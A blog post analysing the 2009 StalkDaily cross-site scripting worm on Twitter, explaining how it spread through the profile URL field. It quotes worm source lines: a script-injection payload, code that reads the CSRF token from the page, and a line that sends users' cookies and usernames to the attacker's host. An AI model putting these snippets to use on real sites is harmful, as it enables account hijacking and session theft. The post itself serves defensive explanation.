If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user.
Eventually the source code of the worm was uncovered, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.
The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets to show up on users’ profiles.
Specifically, the “URL” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML entities when setting the contents to the value of the
href attribute when displaying the user’s URL or homepage/website. This is seen in lines 104 and 109 of the source code, shown below:
var xss = urlencode('http://www.stalkdaily.com"><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); ... var ajaxConn1 = new XHConn(); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website. It appears the attacker was trying to promote his website this way, but it’s also possible that going to this website could also cause you to become infected. While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden
iframe could be included on the site, pointing towards the profile of an infected user. This would case you to become infected.
Why XSS is so important to prevent against
Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML entities before being output to a webpage or displayed. This can allow a malicious user to inject or alter the structure of the DOM, inserting
This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken. For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks. This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.
This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site. Thus, it was able to read in the “authentication token” value from the HTML of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf. This is seen on lines 85-90:
var content = document.documentElement.innerHTML; authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); var authtoken = authreg.exec(content); authtoken = authtoken; //alert(authtoken);
Note that using a cookie to store the authentication token would not have prevented this. Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies! In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)
var cookie; cookie = urlencode(document.cookie); document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>"); document.write("<img src='http://stalkdaily.com/log.gif'>");
Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a
script element. This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.
Other points of interest when looking at the source code is that the bulk of the code are utility functions. The actual malicious code only takes up the last third of the file or so. For example, the function
XHConn() is simply a standard cross-browser compatible implementation of XMLHttpRequest, the API used for the Ajax requests necessary to alter the user’s profile. Additionally, the
urlencode() function is another utility function that allows values like the user’s cookies and the actual malicious
script tag to be properly submitted in the Ajax request.
Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111) This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like
This analysis identifies the following points:
- The worm spreads by updating your profile URL to include the malicious script.
- Simply viewing the profile of an infected user is suffice to cause your profile to become infected.
- Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.
- The random tweets from an infected user do not appear to contain the malicious code, probably because output here has been protected against that.
- The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies. It also appears to log each visit to an infected user’s profile.
- Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user. This can be hard to detect, so using something the NoScript Firefox extension is recommended.
Note that this is not a criticism of Twitter itself, as designing any web application is difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday. They appeared to have the situation under control as of yesterday and had patched the hole as well as being on their way to cleaning up infected users’ profiles. Understandably they are very upset and I hope they are able to sort the whole issue out.